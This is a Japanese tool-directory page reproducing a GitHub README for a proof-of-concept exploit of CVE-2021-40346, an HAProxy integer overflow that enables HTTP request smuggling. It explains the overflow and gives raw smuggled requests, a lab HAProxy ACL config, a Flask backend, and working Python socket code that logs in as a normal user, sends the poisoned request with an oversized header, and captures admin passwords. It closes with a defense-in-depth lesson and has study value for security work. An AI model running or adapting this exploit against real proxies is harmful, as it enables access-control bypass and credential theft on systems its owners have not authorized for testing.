Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-40346 — HTTP Request Smuggling | Kitploit
ツール/GitHubGitHub/boianeduard/cve-2021-40346
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

HTTP Request Smuggling

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-40346: HAProxy HTTPリクエストスマグリング - ACLバイパス

概要

このプロジェクトは、HAProxyにおける重大な整数オーバーフロー脆弱性 CVE-2021-40346 を実証し、HTTPリクエストスマグリング攻撃によりセキュリティ制御を回避する方法を示します。

CVSSv3スコア: 7.5(高)

貢献者:

  1. Boian Eduard
  2. Borsos Matheas-Roland

CVE-2021-40346 とは?

CVE-2021-40346 は、HAProxy の HTTP ヘッダー解析ロジックにおける 整数オーバーフロー脆弱性 です。ヘッダー名が 255 バイトを超えると、長さの値が 8 ビットフィールドからオーバーフローし、HAProxy がリクエスト転送時にヘッダーを誤って解釈します。

攻撃の仕組み

ステップバイステップの流れ

  1. 攻撃者が送信: ヘッダー名 = "Content-Length0" + 255×'a' = 270 バイト

  2. フェーズ1(初期解析):

    • HAProxy はヘッダー名の 270 バイトすべてを読み取る
    • name_length = 270 % 256 = 14(8ビットオーバーフロー)を保存
    • オーバーフロービットにより value_length = 1 が設定される
    • 正当な Content-Length: 60 ヘッダーを読み取り、それをボディ長として扱う
    • 60 バイトをリクエストボディとして読み取る(スマグリングされたリクエストを含む)
  3. フェーズ2(リクエスト転送):

    • オーバーフローしたヘッダーブロックに遭遇
    • 最初の 14 文字のみ読み取り: "Content-Length"
    • 値として 1 文字(位置 14)を読み取り: "0"
    • 転送されるリクエストに content-length: 0 を追加
    • 実際の Content-Length: 60 ヘッダーを無視(通常のロジック通り)
  4. バックエンド処理:

    • HAProxy から content-length: 0 を受け取る
    • ボディなしの POST リクエストを解析
    • 「ボディ」(スマグリングされた GET リクエスト)を次の HTTP リクエストとして扱う
    • スマグリングされたリクエストを処理し、HAProxy のすべての ACL をバイパス

攻撃フローの例

ACL ルールをバイパスして管理エンドポイントにアクセス

以下のように、HAProxy が管理ルートへのアクセスを制限する ACL ルールで構成されている場合を考えます。

root@kitploit:~
http-request deny if { path_beg /users/admin }

PoC では、通常のユーザーセッション(alice)を使用して、管理者のみがアクセスできる保護された /users/admin エンドポイントにアクセスします。

悪意のあるリクエスト(リクエスト1 - 毒入れ):

root@kitploit:~
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

HAProxy が転送するリクエスト:

root@kitploit:~
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

完了リクエスト(リクエスト2):

root@kitploit:~
GET / HTTP/1.1
Host: 127.0.0.1:8080

バックエンドが処理する完全なスマグリングリクエスト:

root@kitploit:~
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080

結果:

  1. HAProxy は content-length: 0 で POST / を転送(ACL は安全なルートと認識)
  2. バックエンドは POST / を処理(ボディなし)し、次のリクエストを待機
  3. バックエンドは不完全なスマグリング GET /users/admin を保留中のリクエストとして扱う
  4. リクエスト2 がスマグリングリクエストを完了
  5. バックエンドは alice のセッションで GET /users/admin を処理し、HAProxy の ACL をバイパス
  6. 管理秘密情報を含む応答が攻撃者に返される

Proof of Concept

テスト環境のセットアップ

HAProxy 設定(haproxy.cfg)

脆弱な HAProxy インスタンスは、管理エンドポイントを保護する ACL ルールで構成されています。

root@kitploit:~
...
    # 管理エンドポイントへのアクセスを検出する ACL
    acl is_admin_endpoint path_beg /users/admin
    
    # 管理セッションクッキーを確認する ACL
    acl has_admin_session cook(session) -m beg admin_
    
    # 管理セッションを持たないユーザーによる管理エンドポイントへのアクセスを拒否
    http-request deny if is_admin_endpoint !has_admin_session
...

重要なポイント:

  • ACL 保護: セッションクッキーが admin_ で始まらない限り、/users/admin はブロックされる
  • HTTP Keep-Alive(デフォルト): HAProxy はデフォルトで keep-alive モードを使用し、バックエンドへの TCP 接続を再利用する - これは攻撃にとって重要であり、同じ接続上で複数のリクエストを可能にする
  • セッションベースのアクセス制御: 通常のユーザー(user_ で始まるセッション)は拒否される

バックエンドサーバー(Flask)

バックエンドサーバーには 3 人のユーザーと管理エンドポイントがあります。

root@kitploit:~
USERS = [
    {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
    {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
    {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]

@app.route('/login', methods=['POST'])
def login():
    # ... 認証ロジック ...
    
    # ロールプレフィックス付きのセッショントークンを生成
    prefix = 'admin_' if user['role'] == 'admin' else 'user_'
    token = prefix + secrets.token_hex(16)
    
    resp.set_cookie('session', token, httponly=True)
    return resp

@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
    # すべてのユーザーパスワードを含む機密データを返す
    rows = ''.join([
        f"{u['id']} | {u['username']} | {u['email']} | "
        f"{u['password']} | {u['role']}" 
        for u in USERS
    ])
    
    return f"ADMIN PANELAll users with passwords:{rows}"

セキュリティモデル:

  • Alice(通常ユーザー)はセッションを取得: user_a1b2c3d4...
  • 管理者はセッションを取得: admin_a1b2c3d4...
  • HAProxy は alice の /users/admin へのリクエストをブロックする
  • バックエンドの設定ミス: Flask サーバーは、HAProxy がアクセス制御を実施済みであると盲目的に信頼しており、機密データを提供する前にセッショントークンを再検証したり、ユーザーが実際に管理者であるかを確認したりしない
  • 脆弱性: HTTP スマグリングにより HAProxy の ACL チェックがバイパスされ、バックエンドには多層防御が存在しない

なぜこれが機能するのか:

  1. HAProxy は外側の POST / リクエストを認識(許可)
  2. HAProxy は POST / の ACL をチェック(管理制限なし)
  3. HAProxy は content-length: 0 を転送(オーバーフローバグのため)
  4. バックエンドは不完全な GET /users/admin リクエストを受け取る
  5. 2 番目のリクエストがそれを完了し、HAProxy の ACL チェックをバイパス
  6. バックエンドは盲目的に管理エンドポイントを提供 - セッショントークンが実際に管理トークンであるかを決してチェックしない
  7. バックエンドは GET /users/admin を直接処理し、パスワードを漏洩

多層防御の教訓: これは、バックエンドがプロキシを盲目的に信頼すべきではない理由を示しています。HAProxy の ACL が配置されていても、バックエンドは以下のことを行うべきです:

  • セッショントークンを自身で解析・検証する
  • 機密エンドポイントを提供する前にユーザーのロール/権限を確認する
  • 独自の認可ロジックを実装する(例: @require_admin デコレーター)

プロキシレベルのアクセス制御のみに依存すると、単一障害点が生じます。

主要なエクスプロイトシーケンス

PoC は、4 つの主要なステップを通じて通常のユーザーセッションを使用して /users/admin にアクセスし、HAProxy の ACL をバイパスする方法を示します。

1. 通常ユーザーとしての認証

root@kitploit:~
# alice(非管理ユーザー)としてログイン
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
        f"Host: {TARGET}:{PORT}\r\n" \
        f"Content-Type: application/x-www-form-urlencoded\r\n" \
        f"Content-Length: {len(body)}\r\n\r\n{body}".encode()

sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)

# 応答を受信し、セッショントークンを抽出
resp = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    resp += chunk
sock.close()

session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")

目的:

  • 通常ユーザー(alice)の正当なセッショントークンを取得
  • このセッションは通常、/users/admin エンドポイントへのアクセス権がない
  • このセッションをスマグリングリクエストで使用して ACL をバイパスする

2. スマグリングリクエストの構築(不完全)

root@kitploit:~
# 管理エンドポイントをターゲットとした不完全なスマグリングリクエストを作成
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"

重要な詳細:

  • 保護された /users/admin ルートをターゲット
  • 正当なユーザーセッション(alice)を使用
  • リクエストを不完全に保つため、DUMMY: ヘッダー(CRLF なし)で終了
  • バックエンドは処理前にさらにデータを待機する

3. 毒入れリクエストの構築

root@kitploit:~
# オーバーフローヘッダーを作成(270 バイト = 8ビットオーバーフロー後 14)
overflow_header = "Content-Length0" + ("a" * 255)

# 完全な毒入れリクエストを構築
poison = (
    f"POST / HTTP/1.1\r\n"
    f"Host: {TARGET}:{PORT}\r\n"
    f"{overflow_header}:\r\n"                    # 整数オーバーフローをトリガー
    f"Content-Length: {len(smuggled_incomplete)}\r\n"  # 実際のボディ長
    f"\r\n"
    f"{smuggled_incomplete}"                     # 「ボディ」としてスマグリングリクエスト
).encode()

発生する処理:

  • Content-Length0aaa...(270 バイト)が 14 バイトにオーバーフロー
  • HAProxy フェーズ2 は最初の 14 文字を読み取り: "Content-Length"
  • 位置 14 の値: "0"
  • HAProxy は content-length: 0 を転送
  • バックエンドはスマグリングされた GET を保留中のリクエストとして受信

4. リクエストの送信

root@kitploit:~
# 毒入れリクエストを送信
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096)  # POST / の応答を受信

# 完了リクエストを送信(スマグリングリクエストを完了)
completion = (
    f"GET / HTTP/1.1\r\n"
    f"Host: {TARGET}:{PORT}\r\n"
    f"\r\n"
).encode()

sock.sendall(completion)
time.sleep(2)

# スマグリングリクエストの応答をキャプチャ
all_data = b""
sock.settimeout(5)
try:
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        all_data += chunk
except:
    pass
sock.close()

# デコードして成功を確認
text = all_data.decode('utf-8', errors='ignore')

print(f"\n[RESULTS] {len(all_data)} bytes received")
print("="*70)
print(text)
print("="*70)

if "admin_secret" in text:
    print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
    print("🔓 Stolen passwords visible in response above!")
else:
    print("\n⚠️  Check backend logs - smuggling is working but response capture needs adjustment")

リクエストフロー:

  1. 毒入れ送信 → バックエンドが不完全な GET /users/admin をバッファリング
  2. 完了送信 → スマグリングリクエストに連結され、二重 CRLF が追加される
  3. バックエンド処理 → alice のセッションで完全な GET /users/admin を処理
  4. 応答キャプチャ → すべてのデータを受信し UTF-8 にデコード
  5. 成功検出 → 応答内の admin_secret キーワードをチェック
ツールをダウンロード